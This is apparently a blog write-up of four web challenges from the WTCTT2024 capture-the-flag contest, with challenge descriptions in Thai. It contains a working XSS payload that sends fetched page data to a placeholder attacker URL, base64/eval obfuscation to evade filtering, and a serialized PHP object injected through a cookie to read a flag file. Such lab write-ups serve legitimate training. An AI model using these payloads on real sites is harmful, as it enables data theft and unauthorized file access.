562 words
3 minutes
Web - WTCTT2024
2025-01-13

Web 1 - Cloud Fronting#

Description#

บริษัท Threat Intelligence แจ้งมาว่า แฮกเกอร์ ที่เจาะระบบหน่วยงานเราได้ซ่อน Virtual Host (vHost) ของ C2 แอบไว้ในเว็บเซิร์ฟเวอร์คุณใน ฐานะ Red Teamer จงเข้าไปหา vHost ของแฮกเกอร์ออกมา

URL เว็บโจทย์: http://wtctt24.open.web1.p7z.pw

หมายเหตุ:

  • vHost ซ่อนอยู่ที่ http://.wttctt24.open.web1.p7z.pw
  • HTTP Port 80 (ไม่ใช่ HTTPS ต้องเข้าด้วย http:// เท่านั้น)
  • ใช้ Wordlist จาก https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt
  • Flag จะอยู่ในรูปแบบ flag{open_webX_XXX} เช่น flag{open_web1_e758148af358200bf364c8d9282b7f04}
  • ช่องโหว่ไม่จำเป็นต้องทำ Port Scan ด้วย Nmap
  • ช่องโหว่ไม่จำเป็นต้องทำ URL Fuzzing เพื่อหา Directory หรือ File ที่เป็นชื่อลับ
  • โจทย์ไม่ได้ถูกออกแบบมาให้แก้ไข โดยใช้โปรแกรมสแกนช่องโหว่อัตโนมัติ

Solution#

Find IP of Host

nslookup wtctt24.open.web1.p7z.pw
[...]
Address: 143.198.218.221

Fuzz Vhost with GoBuster

gobuster vhost -u http://wtctt24.open.web1.p7z.pw -w deepmagic.com-prefixes-top500.txt --append-domain -t 100
[...]
Found: hidden-host.wtctt24.open.web1.p7z.pw

alt text

Web 2 - Mystery Box#

Description#

เจ้าของร้าน Mystery Box เจอแฮกเกอร์ใช้คูปอง Gift Card ที่ควรใช้ครั้งเดียวต่อบัญชี หลังจากการสมัครครั้งแรกได้หลายรอบ ทำให้กล่องสุ่มดิจิตัล Mystery Box ถูกขโมยไปหลายกล่อง ในฐานะ Penetration Tester จงหาวิธีที่แฮกเกอร์ใช้ในการขโมยสินค้าและลองทำดู

URL เว็บโจทย์ (มี Flag): https://wtctt24.open.web2.p7z.pw โค้ดเว็บ (ไม่มี Flag): https://static.wtctt24.p7z.pw/open_web2.zip

หมายเหตุ:

  • สมัครเสร็จ กด Reset Balance ก่อนหนึ่งรอบ
  • คูปองสำหรับ Redeem Gift Card คือ WTCTT2024GIFT มูลค่า $1000
  • สามารถพบ Flag ได้ข้างใน Mystery Box
  • สามารถกดปุ่ม Reset Balance เพื่อรีเซท Balance และ Gift Card เมื่อกดปุ่ม Reset ให้ทำการรีเฟรชหน้าจอเพื่ออัปเดตข้อมูล
  • Flag จะอยู่ในรูปแบบ flag{open_webX_XXX} เช่น flag{open_web1_e758148af358200bf364c8d9282b7f04}
  • ช่องโหว่ไม่จำเป็นต้องทำ Port Scan ด้วย Nmap
  • ช่องโหว่ไม่จำเป็นต้องทำ URL Fuzzing เพื่อหา Directory หรือ File ที่เป็นชื่อลับ
  • โจทย์ไม่ได้ถูกออกแบบมาให้แก้ไข โดยใช้โปรแกรมสแกนช่องโหว่อัตโนมัติ

Solution#

Analyzed the source code and found that it has a race condition.

connection.query(checkSql, [code], (err, results) => {
    [...]
})
// In this line of code, the developer didn't implement it as an asynchronous function.

Used the tab group in the Repeater tab on Burp Suite to create a race condition, then sent the requests in parallel mode. alt text

Buy the flag alt text

Web 3 - XSS Marionette#

Description#

หน่วยข่าวกรองได้รับข้อมูลมาว่า แก๊งมิจฉาชีพได้ใช้แบบฟอร์มบนหน้าเว็บไซด์นี้ในการส่งข้อมูลผิดกฎหมาย ทางที่ปรึกษาด้าน CyberSecurity บอกว่า เราอาจจะสามารถ เจาะระบบแก๊งมิจฉาชีพ ได้ถ้าเว็บไซด์นี้มีช่องโหว่ Cross-Site Scripting

URL เว็บโจทย์ (มี Flag): https://wtctt24.open.web3.p7z.pw โค้ดเว็บ (ไม่มี Flag): https://static.wtctt24.p7z.pw/open_web3.zip

หมายเหตุ:

  • Flag จะอยู่ในรูปแบบ flag{junior_webX_XXX} เช่น flag{open_web1_e758148af358200bf364c8d9282b7f04}
  • ช่องโหว่ไม่จำเป็นต้องทำ Port Scan ด้วย Nmap
  • ช่องโหว่ไม่จำเป็นต้องทำ URL Fuzzing เพื่อหา Directory หรือ File ที่เป็นชื่อลับ
  • โจทย์ไม่ได้ถูกออกแบบมาให้แก้ไข โดยใช้โปรแกรมสแกนช่องโหว่อัตโนมัติ

Solution#

Navigated to https://wtctt24.open.web3.p7z.pw/?id=CoolLabubu. After modifying the value of the id parameter to <h1>BXDMAN</h1>, the web service displayed the following message: alt text

The goal of this challenge is to steal the page content. Let’s exploit with basic xss by using onerror

<img src=x onerror=alert(1)>

alt text Modified the payload to fetch data on /api/env

fetch("/api/env").then(d=>{d.text().then(x=>{document.location="attackerURL?"+encodeURIComponent(x)})})

Testing the payload by navigate to https://wtctt24.open.web3.p7z.pw/?id=${payload} alt text The redirect script is not working. When navigating to the page containing the malicious script, it fails to execute the redirection

Next, try encoding the payload in Base64 format and wrapping the encoded text with atob and eval

eval(atob("encoded payload"))

The payload is working alt text

Last step send the url to admin bot and get flag

Web 4 - Detective Web Defender#

Description#

คุณได้รับมอบหมายให้หาช่องโหว่ที่ทำให้เว็บนี้เคยถูกแฮกในอดีต ด้วยการทำ Pentest เอาให้เต็มที่ มีโค้ดให้ด้วย

URL เว็บโจทย์ (มี Flag): https://wtctt24.open.web4.p7z.pw
โค้ดเว็บ (ไม่มี Flag): https://static.wtctt24.p7z.pw/open_web4.zip

หมายเหตุ:

  • Flag จะอยู่ในรูปแบบ flag{junior_webX_XXX} เช่น flag{junior_web1_e758148af358200bf364c8d9282b7f04}
  • ช่องโหว่ไม่จำเป็นต้องทำ Port Scan ด้วย Nmap
  • ช่องโหว่ไม่จำเป็นต้องทำ URL Fuzzing เพื่อหา Directory หรือ File ที่เป็นชื่อลับ
  • โจทย์ไม่ได้ถูกออกแบบมาให้แก้ไข โดยใช้โปรแกรมสแกนช่องโหว่อัตโนมัติ

Solution#

After navigating to the web service, it was found the secret message in web content alt text

It was discovered that the web service has a Git repository in production. Used the git-dumper to dump the git repository

arthaud
/
git-dumper
Waiting for api.github.com...
00K
0K
0K
Waiting...
python3 ./git_dumper.py https://wtctt24.open.web4.p7z.pw output/
cd output
git checkout --

alt text After analyzing the source code, a suspicious function was found.

spl_autoload_register(function ($class_name) {
    $path = __DIR__ . '/classes/' . $class_name . '.php';
    if (file_exists($path)) {
        include $path;
    }
});

spl_autoload_register, Register a function with the spl provided __autoload queue. If the queue is not yet activated it will be activated.

Use the code in /classes/L3m4n5O6.php to read the flag.

<?php
class L3m4n5O6
{
    public $filePath;
    private $authorized = false;

    public function __construct($filePath = '/flag.txt')
    {

        $this->filePath = $filePath;
    }

    public function authorize($key)
    {

        if ($key === 'e912f5a544fe47b07c52553dfffa0a6d') {
            $this->authorized = true;
        }
    }

    public function __invoke()
    {
        if ($this->authorized && file_exists($this->filePath)) {
            echo "<pre>" . htmlspecialchars(file_get_contents($this->filePath)) . "</pre>";
        }
    }

    public function __destruct()
    {
        $this();
    }
}
$payload = new L3m4n5O6();
$payload->authorize("e912f5a544fe47b07c52553dfffa0a6d");
echo urlencode(serialize($payload));
O%3A8%3A%22L3m4n5O6%22%3A2%3A%7Bs%3A8%3A%22filePath%22%3Bs%3A9%3A%22%2Fflag.txt%22%3Bs%3A20%3A%22%00L3m4n5O6%00authorized%22%3Bb%3A1%3B%7D

Claim the Flag

GET / HTTP/2
Host: wtctt24.open.web4.p7z.pw
Cookie: user_prefs=O%3A8%3A%22L3m4n5O6%22%3A2%3A%7Bs%3A8%3A%22filePath%22%3Bs%3A9%3A%22%2Fflag.txt%22%3Bs%3A20%3A%22%00L3m4n5O6%00authorized%22%3Bb%3A1%3B%7D
[...]

Learning By Doing ,Trial And Error